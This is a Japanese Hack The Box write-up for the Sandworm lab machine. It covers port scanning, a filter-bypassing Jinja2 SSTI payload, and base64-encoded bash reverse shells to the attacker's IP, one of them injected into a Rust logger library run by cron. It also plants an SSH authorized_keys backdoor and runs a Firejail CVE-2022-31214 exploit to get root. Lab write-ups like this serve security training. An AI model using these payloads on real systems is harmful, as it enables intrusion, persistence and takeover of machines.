Hack The BoxのMediumレベルマシンSandwormに挑戦した内容をまとめました。
ポートスキャニング
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA/localityName=Classified/emailAddress=atlas@ssa.htb/organizationalUnitName=SSA
| Issuer: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA/localityName=Classified/emailAddress=atlas@ssa.htb/organizationalUnitName=SSA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-04T18:03:25
| Not valid after: 2050-09-19T18:03:25
| MD5: b8b7:487e:f3e2:14a4:999e:f842:0141:59a1
| SHA-1: 80d9:2367:8d7b:43b2:526d:5d61:00bd:66e9:48dd:c223
| -----BEGIN CERTIFICATE-----
| MIIDpTCCAo0CFBEpfzxeoSRi0SkjUE4hvTDcELATMA0GCSqGSIb3DQEBCwUAMIGN
| MQswCQYDVQQGEwJTQTETMBEGA1UECAwKQ2xhc3NpZmllZDETMBEGA1UEBwwKQ2xh
| c3NpZmllZDEaMBgGA1UECgwRU2VjcmV0IFNweSBBZ2VuY3kxDDAKBgNVBAsMA1NT
| QTEMMAoGA1UEAwwDU1NBMRwwGgYJKoZIhvcNAQkBFg1hdGxhc0Bzc2EuaHRiMCAX
| DTIzMDUwNDE4MDMyNVoYDzIwNTAwOTE5MTgwMzI1WjCBjTELMAkGA1UEBhMCU0Ex
| EzARBgNVBAgMCkNsYXNzaWZpZWQxEzARBgNVBAcMCkNsYXNzaWZpZWQxGjAYBgNV
| BAoMEVNlY3JldCBTcHkgQWdlbmN5MQwwCgYDVQQLDANTU0ExDDAKBgNVBAMMA1NT
| QTEcMBoGCSqGSIb3DQEJARYNYXRsYXNAc3NhLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAKLTqQshN1xki+1sSRa6Yk5hlNYWroPyrVhm+FuKMpNL
| cjW9pyNOV/wvSdCRuk/s3hjqkIf12fljPi4y5IhqfcpTk+dESPGTiXdrE7oxcWHn
| jQvE01MaT9MxtIwGiRBupuFvb2vIC2SxKkKR28k/Y83AoJIX72lbeHJ9GlNlafNp
| OABrIijyFzBou6JFbLZkL6vvKLZdSjGy7z7NKLH3EHTBq6iSocSdxWPXtsR0ifeh
| hODGT2L7oe3OWRvClYTM3dxjIGC64MnP5KumamJoClL2+bSyiQzFJXbvcpGROgTU
| 01I6Qxcr1E5Z0KH8IbgbREmPJajIIWbsuI3qLbsKSFMCAwEAATANBgkqhkiG9w0B
| AQsFAAOCAQEAdI3dDCNz77/xf7aGG26x06slMCPqq/J0Gbhvy+YH4Gz9nIp0FFb/
| E8abhRkUIUr1i9eIL0gAubQdQ6ccGTTuqpwE+DwUh58C5/Tjbj/fSa0MJ3562uyb
| c0CElo94S8wRKW0Mds0bUFqF8+n2shuynReFfBhXKTb8/Ho/2T2fflK94JaqCbzM
| owSKHx8aMbUdNp9Fuld5+Fc88u10ZzIrRl9J5RAeR5ScxQ4RNGTdBVYClk214Pzl
| IiyRHacJOxJAUX6EgcMZnLBLgJ1R4u7ZvU3I3BiaENCxvV6ITi61IwusjVCazRf3
| NNn7kmk7cfgQqPCvmwtVrItRHxWEWnkNuQ==
|_-----END CERTIFICATE-----
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
フィンガープリンティング
httpでアクセスするとhttps://ssa.htb/にリダイレクトします。
$ curl -IL "http://sandworm.htb"
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 11 Nov 2025 06:03:56 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://ssa.htb/
ssa.htbもhostsに登録することにします。
Webページ調査
ブラウザでhttps://ssa.htbにアクセス
https://ssa.htb/guideに飛んでPGP Encryption Demonstrationの画面が表示しました。

メッセージ検証を試してみる
-
keyをクリックすると公開鍵が取得できます。-
sender_public_key.ascとして保存
-
-
Verifying signed messagesの内容が署名済みのメッセージ-
signed_message.txtとして保存
-
公開鍵を使って検証できました。
$ gpg --import private_key.asc # 公開鍵インポート
$ gpg --verify signed_message.txt # メッセージ検証
gpg: Signature made Fri 05 May 2023 01:13:47 AM JST
gpg: using RSA key D6BA9423021A0839CCC6F3C8C61D429110B625D4
gpg: Good signature from "SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: D6BA 9423 021A 0839 CCC6 F3C8 C61D 4291 10B6 25D4
SSTIの調査
verify-signatureの入力画面でSSTIを調査します。
-
Signed Text:に署名済みのメッセージ -
Public Key:に公開鍵
をそれぞれ貼り付けます。
署名済みメッセージの中にSSTIのコードを挿入します。
{{7*7}}を挿入

RCEを試します。
{{request.form.get.globals['builtins']'import'.popen('id').read()}}を入力

今回は応答がありません。
hacktricks SSTIの記事等から、
何らかの文字がフィルタリングされてブロックされているのではないかと推測しました。
最終的の下記のコードでフィルタリングを回避してRCEができました。
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
リバースシェル
次はリバースシェルの取得です。
下記のようにコードを平文で入力するとうまくいきませんでした。
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('bash -c "bash -i >& /dev/tcp/10.10.16.42/4444 0>&1"')|attr('read')()}}
- コードをbase64エンコードしてフィルタを回避します。
$ echo -n 'bash -i >& /dev/tcp/10.10.16.42/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40Mi80NDQ0IDA+JjE=
- リバースシェル用のコード全文
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40Mi80NDQ0IDA+JjE= | base64 -d | bash')|attr('read')()}}
- 攻撃用のペイロードを含む署名付きメッセージの全文
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40Mi80NDQ0IDA+JjEK | base64 -d | bash')|attr('read')()}}
This message has been signed with the official SSA private key.
Import our public key linked above into your keychain and use your favorite program to verify this message. PGP signatures are the only reliable way to verify someone's identity within Cyberspace, and ensure secure and private communication between two parties.
Knowing how to Encrypt/Decrypt messages, as well as verifying them is an imperative skill if you wish to conduct yourself securely, without any prying eyes on you.
Make sure you use verified, open-source programs such as KGpg, Kleopatra, OpenPGP, etc.
And finally, rule number one in asymmetric encryption is to keep your PRIVATE key safe. It is for your eyes only.
SSA
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEE1rqUIwIaCDnMxvPIxh1CkRC2JdQFAmRT2bsACgkQxh1CkRC2
JdTCLhAAqdOcrfOsmkffKwdDKATwEpW1aLXkxYoklkH+DCDc58FgQYDNunMQvXjp
Hd41hbrzQNTm4mMwFfYgFR5oNywAfa0D5L+qTrk05DqwvT7uIZF4/Q/iNp8zElKM
rAVci7c6dBSKLzyGOd7c7/ZnM3Clt4krPGD3L4nQB1Vu7Hav8Oj0R2bL3eaNr0sL
lnj84lbWcGqM9sRfnhfSlpqueK0qbZy02PdzsZ/Ox6KI6s1lAZL5v4eynwrZjXVB
S20SeQAzPr+2m0LGQajPaxYvdEs4BkfyApwzauES0X3bckKdZrXZb/iImQxTrhDq
ZKwGG2qoa6xj4zV32l2JYLKfCcZQh/VE3pslfYb5btuZ/h+oSz6rWT0py/gigbX5
j4ps6gzS16uuVLePyw6kZN2tXgqWqR9IRydCqFJSajwanm9n1I99DH+r9vb7CYOI
PFKwIqynqNX6ddpkCpUl3wgGnUoGdox5DLnE7DZGFM4mOhsNuwd8EBgpU18inFb2
MMZO8Qk5bp2qsK9b4LFWDMEL+pzakgJwA1+H5auJLOak+Xee7UcYeqsq1fjpkwIX
mItshTOG0jrtlvAf/PjqZ54yOPCWoyJQr5ZR7m4bh/kicXZVg5OiWrtVCuN0iUlD
7sXs10Js/pgvZfA6xFipfvs7W+lOQ0febeNmjuKcGk0VVewv8oc=
=/yGe
-----END PGP SIGNATURE-----
-
4444ポートで待ち受けてた状態でVerify Signatureボタンをクリック -
atlasユーザーでリバースシェル成功しました
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.42] from (UNKNOWN) [10.10.11.218] 51620
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ id
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
ユーザー権限昇格
-
/home/atlas/.configの内容
firejailディレクトリの所有者がnobody:nogroupになっています。
調査したところ、リバースシェルがfirejailサンドボックス内で起動しているようです。
atlas@sandworm:~/.config$ ls -al
ls -al
total 12
drwxrwxr-x 4 atlas atlas 4096 Jan 15 2023 .
drwxr-xr-x 8 atlas atlas 4096 Jun 7 2023 ..
dr-------- 2 nobody nogroup 40 Nov 16 12:49 firejail
drwxrwxr-x 3 nobody atlas 4096 Jan 15 2023 httpie
さらに探索を進めると/home/atlas/.config/httpie/sessions/localhost_5000/admin.jsonに silentobserverユーザの認証情報を発見しました。
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
- ssh接続で
silentobserverとしてログイン
silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
silentobserverユーザのホームディレクトリにuser.txtを見つけました。
atlasユーザー権限取得
pspyを使ってみると/opt/tipnet/target/debug/tipnetにsuidを付与してcronで定期実行しています。
2025/11/16 13:22:11 CMD: UID=0 PID=2057 | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/tipnetを調査
tipnetにsuidが付与されていてatlasユーザの権限で実行されるようです。
- これを悪用して
atlasユーザへの権限昇格を目指します。
silentobserver@sandworm:/opt/tipnet/target/debug$ ls -al
total 57800
drwxrwxr-x 7 root atlas 4096 Jun 6 2023 .
drwxr-xr-x 3 root atlas 4096 Jun 6 2023 ..
drwxrwxr-x 142 atlas atlas 12288 Jun 6 2023 build
-rwxrwxr-- 1 root atlas 0 Feb 8 2023 .cargo-lock
drwxrwxr-x 2 atlas atlas 69632 Jun 6 2023 deps
drwxrwxr-x 2 atlas atlas 4096 Jun 6 2023 examples
drwxrwxr-- 472 root atlas 24576 Jun 6 2023 .fingerprint
drwxrwxr-x 6 atlas atlas 4096 Jun 6 2023 incremental
-rwsrwxr-x 2 atlas atlas 59047248 Jun 6 2023 tipnet
-rw-rw-r-- 1 atlas atlas 87 May 4 2023 tipnet.d
-
tipnet.dを開いてビルド時の依存関係を確認します。
silentobserver@sandworm:/opt/tipnet/target/debug$ cat tipnet.d
/opt/tipnet/target/debug/tipnet: /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs
-
/opt/crates/logger/src/lib.rsはsilentobserverグループにrwの権限があります!
silentobserver@sandworm:/opt/tipnet/src$ cd /opt/crates/logger/src/
silentobserver@sandworm:/opt/crates/logger/src$ ls -al
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May 4 2023 .
drwxr-xr-x 5 atlas silentobserver 4096 May 4 2023 ..
-rw-rw-r-- 1 atlas silentobserver 732 May 4 2023 lib.rs
-
/opt/crates/logger/src/lib.rsを編集し、リバースシェルのコードを仕込みます。
前回同様にペイロードをbase64エンコードします。
$ echo -n 'bash -i >& /dev/tcp/10.10.16.42/5555 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40Mi81NTU1IDA+JjE=
- 編集後の
/opt/crates/logger/src/lib.rs
pwn関数を追加してその中でリバースシェルを実行してます。
extern crate chrono;
use std::process::Command;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
pwn();
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
fn pwn() {
Command::new("sh")
.args(&["-c", "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40Mi81NTU1IDA+JjE= | base64 -d | bash"]).output();
}
攻撃マシンでレーシーバーを起動して、cronでリバースシェルが実行されるのを待ちます。
- サンドボックスではない
atlasユーザのshellが取れました。
$ nc -lvnp 5555
listening on [any] 5555 ...
id
connect to [10.10.16.42] from (UNKNOWN) [10.10.11.218] 58294
bash: cannot set terminal process group (42797): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
root権限昇格
jailerグループに所属するファイルを調査するとfirejailの実行ファイルがありました。
atlas@sandworm:/opt/tipnet$ find / -group jailer 2>/dev/null
find / -group jailer 2>/dev/null
/usr/local/bin/firejail
-
/firejailのバージョン確認
atlas@sandworm:/opt/tipnet$ firejail --version
firejail --version
firejail version 0.9.68
Compile time support:
- always force nonewprivs support is disabled
- AppArmor support is disabled
- AppImage support is enabled
- chroot support is enabled
- D-BUS proxy support is enabled
- file transfer support is enabled
- firetunnel support is enabled
- networking support is enabled
- output logging is enabled
- overlayfs support is disabled
- private-home support is enabled
- private-cache and tmpfs as user enabled
- SELinux support is disabled
- user namespace support is enabled
- X11 sandboxing support is enabled
Firejail 0.9.68にはCVE-2022-31214の脆弱性があります。
PoCのコードをfirejoin.pyとしてターゲットマシンに保存します。
保存したファイルに実行権限を付けます。
atlas@sandworm:/tmp/tools$ curl -O http://10.10.16.42:8888/firejoin.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8648 100 8648 0 0 2678 0 0:00:03 0:00:03 --:--:-- 2677
atlas@sandworm:/tmp/tools$ chmod +x firejoin.py
ターミナルが2つ必要なので、sshでatlasにログインする為のバックドアを仕掛けます。
- 攻撃マシンでキーペア作成
$ ssh-keygen -t rsa
$ cat ~/.ssh/id_rsa.pub
- ターゲットマシンで
authorized_keysを作成
atlas@sandworm:~$ vim .ssh/authorized_keys # 攻撃マシンで表示した公開鍵の内容をコピぺする
atlas@sandworm:~$ chmod 600 .ssh/authorized_keys
- ssh接続
$ ssh -i ~/.ssh/id_rsa atlas@ssa.htb
- リバースシェル側のターミナルでPoCコードの実行
atlas@sandworm:/tmp/tools2$ ./firejoin.py
You can now run 'firejail --join=44310' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
- 2つ目のターミナルで
firejail実行
atlas@sandworm:~$ firejail --join=44310
changing root to /proc/44310/root
Warning: cleaning all supplementary groups
Child process initialized in 6.47 ms
ルートシェル取得しました!
atlas@sandworm:~$ su -
root@sandworm:~#
以上です!







